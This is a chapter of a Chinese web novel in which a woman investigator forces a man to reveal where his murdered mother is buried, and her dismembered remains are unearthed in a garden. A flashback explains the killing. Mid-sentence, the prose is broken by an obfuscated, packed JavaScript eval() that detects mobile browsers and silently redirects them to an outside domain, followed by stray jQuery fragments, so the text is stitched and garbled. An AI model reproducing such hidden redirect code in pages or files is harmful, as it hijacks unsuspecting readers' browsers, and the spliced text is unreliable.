27. 第 27 章

作品:《老板一心摆烂,这店没我得散

    “你爸在死之前就已经做好了这份继承证明,而在那个时候,阿梅还活着。”姜阮接过这份证明,明明是轻飘飘的两张纸,却觉得有点重量。


    “人啊,真是一个奇怪的生物。”姜阮轻叹一声,嗓音像是雪山上的冰泉,明明在笑,却看了让人起了一身鸡皮疙瘩。


    “明明之前有很多次机会,偏偏要等到最后没有任何退路的时候才肯说实话。”


    话音刚落,姜阮睨了宋安平一眼,微笑着问道:“你说是吧?”


    宋安平被点名,浑身一激灵,刚要回答,就被姜阮打断。


    “你这次一定要听懂我说的话哟。”随后,她再次强调,“我说的是,没有任何退路。”


    着重说了一遍之后,姜阮便冷着脸坐在刚才的位置,盯着宋安平,“所以,阿梅,到底在哪里?”


    宋安平早已经控制不住身体上的抖动,惊恐的眼神在面前每个人的脸上留过,却丝毫不敢做任何停留,只是看了一眼窗外,那黑漆漆的天空不透任何光亮,像是会吃人的黑洞。


    见他仍然不肯说,姜阮也不再等下去,直接站起身就要离开,只是在即将走到门口的时候,突然回头,看了一眼宋安平,嘴角扬起一抹笑容。


    “姜阮,我们这就要走了?”李九见姜阮并没有停下来的打算,语气有点着急,他还等着听到最后的真相呢,这还什么都不知道呢,怎么就要走了?


    相较于李九的八卦,一旁的宋泽倒是和等待猎物死亡的猛兽一般,抬起脚就要冲向宋安平。


    “啧。”简短的声线响起,宋泽硬生生停下了脚步,面目狰狞地看着近在咫尺的宋安平,要不是姜阮拦着,他早就亲自动手“问出”阿梅的下落了。


    “我已经知道阿梅在哪里了,还待在这里干什么?难道你们不困吗?”


    姜阮早就想快点干完早一点回去睡觉了,这几天她打的架比起往常可多了不少,身上到现在还酸疼呢。


    不知道这一次能不能让林舒煜多给自己涨点工资,毕竟她的身体垮了,可就没有人这么鞠躬尽瘁了。


    一边想着等回去怎么和林舒煜开口,一边迈着步子朝楼下走去。


    李九不明所以地乖乖跟在身后,明明来的时候姜阮还和他一样,并不知道那个叫阿梅的在哪里,怎么只说了这么几句话,就已经知道答案了。


    几人来到一楼,姜阮看了一眼进门的方向,外面依旧静悄悄的,看起来一切都风平浪静。


    但只有她清楚,往往这种过于安静也不一定是什么好事。


    随后她便转身朝着花园的门走去,不带任何犹豫。


    “这里会有人?”李九是第一次来这里,也是第一次看到新鲜的,还长在土里的花。


    一眼就能看全的花园,怎么可能会藏着一个人呢?


    还不等他把心里的遗憾问出来,手里就已经多了一个硬邦邦的东西。


    “这……是什么意思?”李九望着手中的东西愣神,来的时候也没说会让他干这种事啊。


    “你连这个都不知道?怎么长这么大的。”姜阮眼底的嫌弃都快漫出来了。


    “我当然是吃饭长大的,况且我吃饭的时候也没人和我说长大之后要挖地啊。”李九压低声音向姜阮咆哮,手里的锄头又重又长,前端的铁片上还带着某种看不出来是啥的黑色团状物。


    姜阮懒得和他争论这种小孩子过家家的问题,直接伸手指着一块空地,说道:“挖。”


    一拳打在棉花上的感觉真不好受。


    李九心里又多骂了一句,但还是认命地走到那个位置,撸起袖子,把锄头举得高高的,一下接着一下地朝脚下的土地砸去,仿佛要把刚才受过的气全都撒到这上面。


    姜阮看他挖了一会儿,觉得没意思,转身朝身后一直不敢出来的宋安平面前走去。


    在距离他还有五步的位置停下,“看人挖地这么上瘾?眼球都快瞪出来了。”


    听到眼球,一直缺这个东西的宋泽突然歪着头朝他看过来,这意思再明显不过了。


    “啊!别!”吓得宋安平直接捂住眼睛,哭喊着蹲下身子,把头埋进膝盖,说什么都不肯露出来。


    “既然这么害怕,那就告诉我阿梅的具体位置。”姜阮收起原先一副悠闲的模样,冷着脸看着他,眼底泛着冷兵器的寒光。


    闻言,宋安平呜呜害怕求放过的声音戛然而止,似乎正在认真思考刚才姜阮的问题。


    片刻之后,他抬起头,颤颤巍巍地伸手,指着距离李九挖地的位置大概一米的地方,声音如同细蚊,“就在那儿。”


    “我靠,你怎么不早说!”已经挖了不少的李九一直都竖着耳朵听他们这边的谈话,听到挖错地方的时候差点没跳起来。


    但对于他的抱怨,并没有人搭理,他也只好悻悻地从坑里出来,到新的指定地点继续挖。


    没有虫鸣,没有风吹,只有李九手中的锄头和泥土之间摩擦的沙沙声,周围什么都没有,万分安静。


    大概过了十几分钟,李九那边的声音停止,取而代之的是塑料的哗啦声。


    “好像……挖到了。”


    李九扔了手中的锄头,略带焦急地从那个地方离开,眨巴着眼睛望着姜阮,表情说不上是高兴。


    等姜阮走上前,看到坑里的东西,眸底震惊,但同时一股愤怒的火气也从心底里冒出来。


    被埋住的并不是一个阿梅,而是好几个阿梅。


    之间塑料袋里露出来的是一个人的手掌和胳膊,早已经被拆卸掉胡乱摆放着,而这种塑料袋足足有十几个。


    有的袋子不知被什么腐蚀露出里面的东西,是一摊冒着臭水的腐烂物,隐约能辨认出是内脏。


    姜阮还没想好怎么和宋泽说,对方早已经冲了过来,看到地上的东西,一时间竟像被钉子钉在地上一般,没有任何动作。


    姜阮都怀疑下一秒他会不会突然暴走黑化,与此同时,她的右手也早已经摸上后腰的那条链鞭,左手缓缓挡在李九面前,两人缓步后退,直至退回到房间里面。


    李九咽了咽口水,双手扒在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224072|181661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜阮的左胳膊上,做好随时跑路的准备,还好他在来的时候已经默默记下了打印店的位置,一会儿肯定能准确无误地找到地方。


    姜阮自然不知道身后的李九早已经自己想好了逃跑路线,她的眼睛还紧紧地盯着面前的宋泽,判断着他下一步的动作。


    “我,我已经说了位置了,你们也找到想要的了,是不是可以放了我!”宋安平突然像疯了一样,突然站起来,瞪大眼睛,癫狂地跑到姜阮面前,像是被判处死刑又被延期执行的死刑犯,渴望从别人那里得到生的希望。


    还不等姜阮说话,刚才还在沉默的宋泽突然爆冲到宋安平身后,伸出手紧紧抓着他的头发,几乎是一瞬间,就将他拖拽到刚才的坑前。


    打开的塑料袋里那冷白的手上唯独那枚戒指泛着亮光。


    -


    三十年前,人们都在为了生存争先恐后争夺工作机会,但因为生存法则的要求,很多人没坚持几天,导致那段时间世界人口骤减。


    自己活下去都成了问题,更没有人会选择在这个时候生孩子。


    但宋家却在这个时候迎来了新生命。


    将梅婷得知自己怀孕的时候,万分欣喜,第一时间就把这个消息告诉了刚回家的丈夫。


    宋泽却并没有感到丝毫的开心,夜晚,他小心翼翼地告诉将梅婷,这个孩子留不得,为此他们两人有了结婚之后的第一次争吵。


    可宋泽到底还是心疼将梅婷,不愿看到她伤心,最终还是同意留下这个孩子。


    因为怀孕的原因,将梅婷不得已停止了之前的工作,从家里翻出了陈旧的月季花种子,抱着死马当活马医的心,将种子撒在院子里。


    也不知是不是上天的眷顾,这片月季花田倒也给了蒋婷梅一份新的工作。


    之后孩子在这对夫妻的祝福下出生,取名为宋安平。


    家里新添了人,宋泽每天只能更努力地工作,只为给妻儿一个更好的生活,但也因此身体上落下了病根,在宋安平十岁的时候撒手人寰。


    不过在他提前预料到身体上的不适之后,就已经把妻子和孩子的后路想到了,提前做好了遗产分割与证明。


    只可惜,宋安平没了父亲的管束,随着年龄的增长更是嚣张叛逆,无数次地顶撞阿梅,抱怨为什么家里会过得这样贫苦。


    阿梅每次也不会说什么,只会在夜深人静的时候,摩挲宋泽的照片,忏悔自己没能让他满意。


    这样的日子她原以为会在宋安平长大之后有所转变,直到有一天,宋安平从外面领回来一个女人,并提出和她结婚。


    在那之后,阿梅更是成了这个家里的保姆。


    后来女人翻到了宋泽留下的遗产分割证明,与宋安平商量想要得到这全部的遗产,利益之下,他们等不到阿梅的自然老去。


    但他们没想到宋泽死后居然化成了执念,满心都是那个曾经的阿梅。


    “我的阿梅最怕冷了。”宋泽苍老的手缓缓握住那个早已冰凉腐败的手,小心翼翼地举到脸颊轻声呢喃。